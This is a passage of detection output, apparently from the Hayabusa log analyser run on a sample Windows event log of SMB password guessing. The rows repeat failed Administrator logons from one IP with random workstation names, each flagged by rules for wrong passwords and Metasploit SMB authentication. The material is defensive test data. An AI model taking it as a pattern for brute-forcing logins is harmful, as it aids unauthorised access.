Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fqkCliAQMiFffQU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.105 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITkku4kN4csBFyUB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f5g9kMkSFhKrT2Py : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.197 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1xKLdwujTmLEc9ts : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sAW1YzCQ3CreseaP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.285 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhqBirEHOKPepR3n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.326 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5uqSFXpzAWOnc90n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.376 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: McbeS9lRpbMc48jO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.477 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6J0d7dQUmJNKJlu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.477 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QG3WU91rhTP9odx7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.579 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hSQRgB8yMfhb03g1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.579 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.614 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bzbZjRXTc0XvV4Ry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.614 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k3ShOCSaLGX4YBWE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.665 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lIrydzi8nmY251Z1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h4vlRksTGxAqEt9j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uJMnD0foEDbcNfTj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.789 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.829 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNWppBJLFojEFtiF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.829 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7a9Tvr6ruDpiG2T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.885 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBNIizCKz2ybc3eM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YwuXQhISpgfSFqZ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.961 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.011 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeONLdrrauxqvgaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.011 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RFqSH4toadsTideV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.058 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HuMa0Juj1tjL6NDY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.104 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UA8zU0kJ6gAFqSaF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.145 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jvX85gF8wk3AGJyb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OpzOMKQIBrkQW5Os : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cqzrLAqHNi4CHT56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.285 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HWMap8qHlykO6Yeu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.326 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pkc9LWakJBjhBQv6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y43cE75gTzA1XjHF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HopaYDAbYxHjJEr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: brNgudTWJaKs8nLd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.499 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MzPwOqU92kdGodBH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXlzxK5OXL9hpqrZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2cLdgWvrVh7h2jPk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.717 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h34xlYavVsXQRCYG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.717 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6wjflwqXyFzYTi0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MlsuCSajqGUYTBWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.795 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xQDdrQQZ5xYBDiRi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JX5NMuwUsOZEp3zh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.872 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfrbGLqKGru8AE2a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 813natbodi6QauRW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.961 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KpfKxOZG3xSr5Yqm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fErWiEb0USDghXsB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fOWF6YnW8UEPlw41 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SNPXuHduatLFQc8W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 35rfur4MzKzwxCIn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.157 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 